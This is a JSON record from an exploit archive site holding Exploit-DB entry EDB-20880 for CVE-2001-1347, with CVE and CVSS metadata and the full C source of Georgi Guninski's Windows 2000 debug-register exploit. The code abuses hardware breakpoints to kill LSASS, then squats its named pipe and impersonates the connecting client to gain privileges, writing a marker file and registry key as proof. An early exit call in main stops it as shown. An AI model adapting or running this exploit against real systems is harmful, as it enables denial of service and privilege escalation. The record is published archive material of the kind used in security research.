{"exploit":{"id":"EDB-20880","name":"Microsoft Windows Server 2000 - Debug Registers","description":"Microsoft Windows Server 2000 - Debug Registers","cves":["CVE-2001-1347"],"author":"Georgi Guninski","published":"2001-05-24","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20880","path":"exploits/windows/local/20880.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20880.c","vulnerabilities":[{"id":"CVE-2001-1347","state":"PUBLISHED","title":null,"titleSource":null,"description":"Windows 2000 allows local users to cause a denial of service and possibly gain privileges by setting a hardware breakpoint that is handled using global debug registers, which could cause other processes to terminate due to an exception, and allow hijacking of resources such as named pipes.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-1347","cvss":{"version":"2.0","baseScore":4.6,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-1347"},"updatedAt":"2024-08-08T04:51:08.417Z","retrievedAt":"2026-11-27T14:08:32.248Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20880.png?v=2","url":"https://exploitbin.com/exploits/EDB-20880","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20880/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20880/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/2764/info\n\nA vulnerability exists in the handling of debug registers in Windows 2000.\n\nIt is possible for unprivileged processes to create breakpoints for arbitrary processes. This can be used to 'kill' arbitrary processes without administrative privileges.\n\nSince it is possible for an unprivileged process to terminate arbitrary processes, depending on the programs involved, this vulnerability could be used to leverage other attacks. Including a denial of service or elevating privileges by 'impersonating' a trusted named pipe.\n\n// Win2K elevation of privileges\n// Written by Georgi Guninski http://www.guninski.com\n// Kind of ugly but works\n// Check the disclaimer and advisory at http://www.guninski.com/dr07.html\n\n#define _WIN32_WINNT  0x0500\n\n#include <stdio.h>\n#include <windows.h>\n#include <stdlib.h>\n\n// may need to change below\n///////////////////////////////\nDWORD lsasspid=224; // pid of LSASS.EXE\n//DWORD lsasspid=236; // pid of LSASS.EXE\nDWORD MAGICESPINLSA=0x0053ffa0; // ESP in LSASS.EXE - may need to change it\n//////////////////////////////\n\nchar szPipe[64]=\"\\\\\\\\.\\\\pipe\\\\lsass\";\nHANDLE hProc = NULL;\nPROCESS_INFORMATION pi;\n\n\nvolatile int lsadied = 0;\n\n\n\nunsigned long __stdcall threadlock(void *v)\n{\n\tSleep(1000);\n\tLockWorkStation();\n\treturn 0;\n}\n\nunsigned long __stdcall threadwriter(void *v)\n{\n\twhile(!lsadied)\n\t{\n    FILE *f1;\n\tf1=fopen(\"\\\\\\\\.\\\\pipe\\\\lsass\",\"a\");\n\t if (f1 != NULL)\n\t\t{\n\t\t fprintf(f1,\"A\");\n\t\t fclose(f1);\n\t\t}\n/*\n\t else\n\t\t printf(\"%s\\n\",\"error writing to pipe\");\n*/\n\tSleep(400);\n\t}\n\tprintf(\"%s\\n\",\"Stop writing to pipe\");\n\treturn 0;\n}\n\nunsigned long __stdcall waitlsadie(void *v)\n{\n\nint lsadied2=0;\nlong ( __stdcall *NtQuerySystemInformation )( ULONG, PVOID, ULONG, ULONG ) = NULL;\nif ( !NtQuerySystemInformation )\n      NtQuerySystemInformation = ( long ( __stdcall * )( ULONG, PVOID, ULONG,\nULONG ) ) GetProcAddress( GetModuleHandle( \"ntdll.dll\" ),\"NtQuerySystemInformation\" );\ntypedef struct _tagThreadInfo\n{\n        FILETIME ftCreationTime;\n        DWORD dwUnknown1;\n        DWORD dwStartAddress;\n        DWORD dwOwningPID;\n        DWORD dwThreadID;\n        DWORD dwCurrentPriority;\n        DWORD dwBasePriority;\n        DWORD dwContextSwitches;\n        DWORD dwThreadState;\n          DWORD dwWaitReason;\n        DWORD dwUnknown2[ 5 ];\n} THREADINFO, *PTHREADINFO;\n#pragma warning( disable:4200 )\ntypedef struct _tagProcessInfo\n{\n        DWORD dwOffset;\n        DWORD dwThreadCount;\n        DWORD dwUnknown1[ 6 ];\n        FILETIME ftCreationTime;\n        DWORD dwUnknown2[ 5 ];\n        WCHAR* pszProcessName;\n        DWORD dwBasePriority;\n        DWORD dwProcessID;\n        DWORD dwParentProcessID;\n        DWORD dwHandleCount;\n        DWORD dwUnknown3;\n        DWORD dwUnknown4;\n        DWORD dwVirtualBytesPeak;\n        DWORD dwVirtualBytes;\n        DWORD dwPageFaults;\n        DWORD dwWorkingSetPeak;\n        DWORD dwWorkingSet;\n        DWORD dwUnknown5;\n        DWORD dwPagedPool;\n        DWORD dwUnknown6;\n        DWORD dwNonPagedPool;\n        DWORD dwPageFileBytesPeak;\n        DWORD dwPrivateBytes;\n        DWORD dwPageFileBytes;\n        DWORD dwUnknown7[ 4 ];\n        THREADINFO ti[ 0 ];\n} _PROCESSINFO, *PPROCESSINFO;\n#pragma warning( default:4200 )\n\n\n\n PBYTE pbyInfo = NULL;\n DWORD cInfoSize = 0x20000;\nwhile(!lsadied2)\n{\n pbyInfo = ( PBYTE ) malloc( cInfoSize );\n NtQuerySystemInformation( 5, pbyInfo, cInfoSize, 0 ) ;\n PPROCESSINFO pProcessInfo = ( PPROCESSINFO ) pbyInfo;\n bool bLast = false;\n lsadied2 = 1;\n do {\n\t if ( pProcessInfo->dwOffset == 0 )\n         bLast = true;\n     if (pProcessInfo->dwProcessID == lsasspid)\n\t\t lsadied2 = 0 ;\n     pProcessInfo = ( PPROCESSINFO ) ( ( PBYTE ) pProcessInfo + pProcessInfo->dwOffset );\n    } while( bLast == false );\n free( pbyInfo );\n}\nprintf(\"LSA died!\\n\");\nlsadied=1;\nreturn 0;\n}\n\n\n\nvoid add_thread(HANDLE thread)\n{\n\t\t  CONTEXT ctx = {CONTEXT_DEBUG_REGISTERS};\n\n//DR7=d0000540 DR6=ffff0ff0 DR3=53ffa0 DR2=0 DR1=0 DR0=0\n\n    SuspendThread(thread);\n    GetThreadContext(thread,&ctx);\n\tctx.Dr7=0xd0000540;\n\tctx.Dr6=0xffff0ff0;\n\tctx.Dr3=MAGICESPINLSA;\n\tctx.Dr2=0;\n\tctx.Dr1=0;\n\tctx.Dr0=0;\n    SetThreadContext(thread, &ctx);\n    ResumeThread(thread);\n//    printf(\"DR7=%x DR6=%x DR3=%x DR2=%x DR1=%x DR0=%x\\n\",ctx.Dr7,ctx.Dr6,ctx.Dr3,ctx.Dr2,ctx.Dr1,ctx.Dr0);\n\n}\n\n\nunsigned long __stdcall threaddeb(void *v)\n{\n    STARTUPINFO si = {\n        sizeof(STARTUPINFO)\n    };\n\n\n    CreateProcess(0,\"c:\\\\winnt\\\\system32\\\\taskmgr.exe\",0,0,0,\n\t\tCREATE_NEW_CONSOLE,0,0,&si,&pi);\n\tSleep(2000);\n    BOOL status = CreateProcess(\n        0,\n        \"c:\\\\winnt\\\\system32\\\\calc.exe\",\n        0,0,0,\n\t\tDEBUG_PROCESS\n        | DEBUG_ONLY_THIS_PROCESS\n        | CREATE_NEW_CONSOLE,\n        0,0,&si,&pi);\n\n    if( !status )\n    {\n\t\tprintf(\"%s\\n\",\"error debugging\");\n\t\texit(1);\n    }\n\n    add_thread(pi.hThread);\n\n    for( ;; )\n    {\n        DEBUG_EVENT de;\n        if( !WaitForDebugEvent(&de, INFINITE) )\n        {\n\t\t printf(\"%s\\n\",\"error WaitForDebugEvent\");\n        }\n\n        switch( de.dwDebugEventCode )\n        {\n        case CREATE_THREAD_DEBUG_EVENT:\n            add_thread(de.u.CreateThread.hThread);\n            break;\n        }\n    ContinueDebugEvent(de.dwProcessId,de.dwThreadId,DBG_CONTINUE);\n\t}\n\n\treturn 0;\n}\n\n    int main(int argc,char* argv[])\n    {\n      DWORD dwType = REG_DWORD;\n      DWORD dwSize = sizeof(DWORD);\n\t  DWORD dwNumber = 0;\n      char szUser[256];\n\n\texit(0);\n      HANDLE hPipe = 0;\n\n\t\tif (argc > 1)\n\t\t\tlsasspid=atoi(argv[1]);\n\t\tif (argc > 2)\n\t\t\tsscanf(argv[2],\"%x\",&MAGICESPINLSA);\n\n\t  printf(\"Fun with debug registers. Written by Georgi Guninski\\n\");\n\t  printf(\"vvdr started: lsasspid=%d breakp=%x\\n\",lsasspid,MAGICESPINLSA);\n   \t  CreateThread(0, 0, &threadwriter, NULL, 0, 0);\n\t  CreateThread(0, 0, &waitlsadie, NULL, 0, 0);\n\t  CreateThread(0, 0, &threaddeb, NULL, 0, 0);\n\n  \t  while(!lsadied);\n\n      printf(\"start %s\\n\",szPipe);\n      hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,\n                               PIPE_TYPE_MESSAGE|PIPE_WAIT,\n                               2, 0, 0, 0, NULL);\n      if (hPipe == INVALID_HANDLE_VALUE)\n      {\n        printf (\"Failed to create named pipe:\\n  %s\\n\", szPipe);\n        return 3;\n      }\n\t  CreateThread(0, 0, &threadlock, NULL, 0, 0);\n\t  ConnectNamedPipe (hPipe, NULL);\n      if (!ReadFile (hPipe, (void *) &dwNumber, 4, &dwSize, NULL))\n      {\n        printf (\"Failed to read the named pipe.\\n\");\n        CloseHandle(hPipe);\n        return 4;\n      }\n\n     if (!ImpersonateNamedPipeClient (hPipe))\n      {\n        printf (\"Failed to impersonate the named pipe.\\n\");\n        CloseHandle(hPipe);\n        return 5;\n      }\n      dwSize  = 256;\n      GetUserName(szUser, &dwSize);\n      printf (\"Impersonating dummy :) : %s\\n\\n\\n\\n\", szUser);\n// the action begins\n\t  FILE *f1;\n\t  f1=fopen(\"c:\\\\winnt\\\\system32\\\\vv1.vv\",\"a\");\n\t\tif (f1 != NULL)\n\t\t{\n\t\t fprintf(f1,\"lsass worked\\n\");\n\t\t fclose(f1);\n\t\t printf(\"\\n%s\\n\",\"Done!\");\n\t\t}\n\t\telse\n\t\t printf(\"error creating file\");\n\tfflush(stdout);\n\tHKEY mykey;\n\tRegCreateKey(HKEY_CLASSES_ROOT,\"vv\",&mykey);\n\tRegCloseKey(mykey);\n\n\n    CloseHandle(hPipe);\n    return 0;\n    }","sha256":"e1faf0fbf930f133d6858f3411fe8032fdceb8f3cb93b9e70bb42cc7af44b98b","bytes":7153,"fetchedAt":"2026-11-27T14:08:31.944Z","encoding":"utf-8 (display only; download retains original bytes)"}